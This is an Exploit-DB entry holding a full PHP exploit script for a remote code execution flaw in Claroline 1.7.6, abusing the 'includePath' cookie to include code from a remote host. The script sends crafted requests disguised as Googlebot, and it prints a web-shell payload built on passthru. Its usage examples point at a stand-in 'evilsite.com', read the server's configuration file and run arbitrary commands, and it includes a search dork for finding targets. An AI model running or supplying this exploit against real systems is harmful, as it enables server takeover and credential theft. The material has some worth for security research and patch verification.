Exploit-DB #1877
Description: Claroline 1.7.6 - 'includePath' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-06-05
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Claroline <= 1.7.6 \"includePath\" remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: \"Powered by Claroline\" -demo\r\n\r\n";

/*
works with
register_globals=On
allow_url_fopen=On
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to claroline\r\n";
echo "location:  arbitrary location with the code to include\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." target.com /claroline176/ http://evilsite.com ls -la\r\n";
echo "php ".$argv[0]." target.com /claroline176/ http://evilsite.com cat ./..\r\n";
echo "/../../inc/conf/claro_main.conf.php -p81\r\n";
echo "php ".$argv[0]." target.com / http://evilsite.com uname -a -P1.1.1.1:80\r\n\r\n";
echo "note, on remote location you need a\r\n";
echo "/lib/extauth.lib.php/index.html\r\n";
echo "with this code inside:\r\n\r\n";
echo "<?php\r\n";
echo 'if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}'."\r\n";
echo "error_reporting(0);\r\n";
echo 'ini_set("max_execution_time",0);'."\r\n";
echo 'echo "*delim*";'."\r\n";
echo 'passthru($_REQUEST["cmd"]);'."\r\n";
echo 'echo "*delim*";'."\r\n";
echo "die;\r\n";
echo '?>'."\r\n";
die;
}

/*
  explaination:
  is too hard to check the same folder of 1.7.5 exploit? really, too hard...
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];$path=$argv[2];$location=$argv[3];$cmd='';
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;$proxy="";
for ($i=4; $i<=$argc-1; $i++)
{
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$script=array('mambo.inc.php','postnuke.inc.php');
for ($i=0; $i<=count($script)-1; $i++)
{
$packet ="GET ".$p."claroline/auth/extauth/drivers/".$script[$i]." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Cookie: cmd=".urlencode($cmd)."; includePath=".urlencode($location).";\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{
  echo "Exploit succeeded...\r\n\r\n";
  $temp=explode("*delim*",$html);
  die($temp[1]);
}
}
//if you are here...
echo "Exploit failed...";
//debug
echo $html;
?>

# milw0rm.com [2006-06-05]